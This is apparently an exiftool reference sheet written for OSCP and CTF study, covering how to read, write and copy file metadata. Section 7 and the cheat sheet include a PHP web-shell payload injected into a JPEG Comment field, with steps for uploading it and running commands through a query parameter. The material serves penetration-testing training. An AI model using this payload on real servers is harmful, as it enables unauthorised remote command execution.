exiftool — Complete OSCP Reference

What is exiftool?

exiftool (by Phil Harvey) is the standard CLI for reading and writing metadata in images, PDFs, Office docs, audio/video, and 500+ file types. Reads/writes EXIF, IPTC, XMP, GPS, Comments, MakerNotes, etc.

OSCP use: Hunt hidden comments/GPS/software paths in images; EXIF PHP injection for File Upload Bypass; prep before Steghide; extract metadata from loot in web dirs.

Install (Kali):

sudo apt install libimage-exiftool-perl
# Binary: exiftool

Syntax Overview

# READ
exiftool [OPTIONS] [-TAG...] [--TAG...] FILE...
 
# WRITE
exiftool [OPTIONS] -TAG[+-^]=[VALUE]... FILE...
 
# COPY tags from another file
exiftool [OPTIONS] -tagsFromFile SRCFILE [-DSTTAG<SRC] FILE...
 
# LIST capabilities
exiftool -ver
exiftool -list[w|f|r|wf|g|d|x|geo]

Options may appear after filenames. Unrecognized tokens are treated as tag names.


📌 1) Tag Operations

OptionLong formDescription
-TAGExtract specific tag (e.g. -Comment, -GPSLatitude)
-GROUP:TAGTag with group prefix (e.g. -EXIF:DateTimeOriginal, -XMP:Creator)
-AllAll metadata (default if no tags specified)
--TAG-x TAGExclude tag from output
-TAG=Delete tag (write mode)
-TAG=VALUESet tag value
-TAG+=VALUEAdd to list / increment numbers / shift dates
-TAG-=VALUERemove from list / conditionally delete
-TAG^=Write empty string instead of delete
-TAG<=FILESet tag from file contents
-tagsFromFile SRCCopy tags from source file
-DSTTAG<SRCCopy SRCTAG → DSTTAG (with -tagsFromFile)
-TAG#Disable print conversion for that tag

Group / family prefixes

-EXIF:All              # All EXIF tags
-XMP:Creator           # XMP creator
-IPTC:Keywords         # IPTC keywords
-GPS:All               # All GPS tags
-1IPTC:City            # Family 1 group (specific location)
-0EXIF:All             # Family 0 (general EXIF block)

List groups: exiftool -listg, exiftool -listg1

Wildcards: -Comment*, -*Date*, -All (quote on shell if using *)


📌 2) Output Formatting (Read Mode)

ShortLongDescription
-s-shortPrint tag names instead of descriptions
-ssShorter: no column padding
-sssValues only (no tag names)
-l-longTwo-line output (name + description)
-L-latinWindows Latin1 encoding
-n--printConvNo print conversion (raw numbers)
-S-veryShortVery short output
-t-tabTab-delimited
-T-tableTabular output
-sortSort output alphabetically
-structStructured (nested) output
-sep STR-separatorSeparator for list-type tags
-g[N]-groupHeadingsGroup headings in output
-G[N]-groupNamesPrint group name per tag
-f-forcePrintForce print even if empty
-a-duplicatesAllow duplicate tag names
-e--compositeDon’t generate composite tags
-u-unknownExtract unknown tags
-U-unknown2Unknown binary tags too
-D-decimalTag ID numbers in decimal
-H-hexTag ID numbers in hex
-h-htmlFormatHTML formatted output
-X-xmlFormatRDF/XML output
-j-jsonJSON output
-phpPHP array output
-csvCSV output
-csv=FILEImport/export CSV
-csvDelim STRCSV delimiter
-json=FILEImport/export JSON
-args-argFormatOutput as exiftool write arguments
-b-binaryBinary metadata output
-c FMT-coordFormatGPS coordinate format
-d FMT-dateFormatDate/time format string
-charset TYPE=CHARSETCharacter encoding
-lang [LANG]Language for descriptions
-p STR-printFormatCustom print format ($FileName, $Comment, etc.)
-w EXT-textOutWrite output to text files
-W FMT-tagOutPer-tag output files
-v[N]-verboseVerbose messages
-q-quietQuiet

Useful read examples

exiftool image.jpg                    # All metadata
exiftool -s image.jpg                 # Tag names + values
exiftool -Comment -Artist image.jpg   # Specific tags
exiftool -gps:all photo.jpg           # GPS data
exiftool -a -G1 -s image.jpg          # All groups, short names
exiftool -j image.jpg                 # JSON
exiftool -n -Orientation image.jpg    # Raw Orientation number (6 = rotate 90 CW)
exiftool -b -ThumbnailImage img.jpg > thumb.jpg   # Extract binary thumbnail

📌 3) Write Mode

Enter write mode with -TAG=VALUE. By default creates filename_original backup.

ShortLongDescription
-o FILE-outOutput file (don’t overwrite in place)
-overwrite_originalReplace original (rename temp → original)
-overwrite_original_in_placeCopy temp over original
-P-preservePreserve file mod time
-m-ignoreMinorErrorsIgnore minor errors
-wm MODE-writeModeWrite mode: w, a, c (create)
-z-zipRead/write compressed metadata
-password PASSPassword for protected PDFs

Write examples

# Set comment
exiftool -Comment="hidden note" image.jpg
 
# Delete all metadata
exiftool -All= image.jpg
 
# Delete EXIF only
exiftool -EXIF:All= image.jpg
 
# Write to new file
exiftool -Comment="test" -o new.jpg image.jpg
 
# Overwrite without _original backup (careful)
exiftool -Comment="test" -overwrite_original image.jpg
 
# Copy all writable tags from another image
exiftool -tagsFromFile src.jpg -All:All dst.jpg

📌 4) Processing Control

ShortLongDescription
-r-recurseRecurse subdirectories
-r.Recurse including hidden dirs
-ext EXT-extensionProcess only extension (e.g. -ext jpg)
-ext+ EXTAdd extension to default list
-if EXPRConditional processing
-fileOrder TAGSort files by tag value
-@ FILERead arguments from file
-executeMultiple commands on one line
-stay_open FLAGStay open for -@ argfile (batch API)
-progressShow progress
-q-quietSuppress messages
-F OFFSET-fixBaseFix maker note offsets
-fast[N]Faster extraction (less thorough)
-ee[N]-extractEmbeddedExtract embedded files metadata
-scanForXMPBrute-force XMP scan
-i DIR-ignoreIgnore directory name
-list_dirList dirs only

Batch / directory

exiftool -Comment -r /var/www/html/
exiftool -ext jpg -ext png -Artist -r ./images/
exiftool -if '$Comment' -Comment -r .    # Only files with Comment set

📌 5) Copy / Compare / Utilities

OptionDescription
-tagsFromFile SRCCopy tags from SRC to FILE
-all:allAll writable tags (with -tagsFromFile)
-diff FILE2Compare metadata with another file
-geotag TRKFILEGeotag from GPS log
-globalTimeShift SHIFTShift all date/time values
-delete_originalDelete _original backups
-restore_originalRestore from _original
-verPrint version
-listList all tags
-listwWritable tags
-listfSupported file extensions
-listrRecognized file types
-listwfWritable file types
-listg[NUM]List tag groups
-listdDeletable groups
-listxXML tag name list
-commonCommon tag set (for CSV export)
-config CFGCustom config file
-use MODULEPlugin module
-api OPT=VALExifTool API options
-common_argsDefine shared args
-echo TEXTEcho to stdout/stderr
-efile FILESave error filenames
-k-pause
--End of options

📌 6) Common Tags (OSCP / CTF)

TagLook for
CommentHidden messages, PHP payloads
ImageDescriptionCTF flags, hints
Artist / CopyrightCredits, clues
SoftwareCreating app (StegSolve, OpenSSL, etc.)
DocumentName / HostComputerOriginal paths
GPSLatitude / GPSLongitudeGeo CTF
UserCommentCamera user comment
XPComment / XPKeywordsWindows EXIF
History / DerivedFromPhotoshop / editing trail
ThumbnailImageEmbedded thumbnail (extract with -b)
exiftool -Comment -ImageDescription -Software -Artist -GPS:All file.jpg
exiftool -a -s -G1 file.jpg | grep -iE "comment|software|host|path|flag"

📌 7) OSCP — EXIF PHP Upload Bypass

When server checks getimagesize() but executes PHP in EXIF/comment fields:

# Inject PHP into Comment on real JPEG
exiftool -Comment='<?php system($_GET["cmd"]); ?>' clean.jpg -o shell.jpg
 
# Verify
exiftool shell.jpg | grep -i comment
file shell.jpg    # Should still be JPEG
 
# Upload shell.jpg → browse shell.jpg?cmd=id

See File Upload Bypass.


📌 8) OSCP Workflow with Other Tools

file unknown.jpg
exiftool -a -G1 -s unknown.jpg
strings unknown.jpg | grep -i pass
binwalk unknown.jpg && binwalk -e unknown.jpg
steghide info unknown.jpg
exiftool -b -ThumbnailImage unknown.jpg > thumb.jpg

See File Analysis, Steghide, binwalk.


📌 9) Write Mode Safety

  • Default: creates FILE_original backup before write
  • Use -overwrite_original only after verifying output
  • -All= strips metadata — useful before upload to reduce leakage
  • PDF edits are reversible (ExifTool doesn’t securely wipe PDF metadata)

📌 Quick Cheat Sheet

# Read all / hunt creds
exiftool image.jpg
exiftool -a -s -G1 image.jpg | grep -iE "comment|software|path|flag|gps"
 
# Specific tags
exiftool -Comment -Artist -GPS:All -Software file.jpg
 
# JSON export
exiftool -j -Comment -r ./webroot/ > meta.json
 
# EXIF PHP shell
exiftool -Comment='<?php system($_GET["cmd"]); ?>' real.jpg -o shell.jpg
 
# Strip metadata before exfil
exiftool -All= -overwrite_original photo.jpg
 
# Copy metadata
exiftool -tagsFromFile src.jpg -All:All dst.jpg
 
# List writable tags / file types
exiftool -listw
exiftool -listf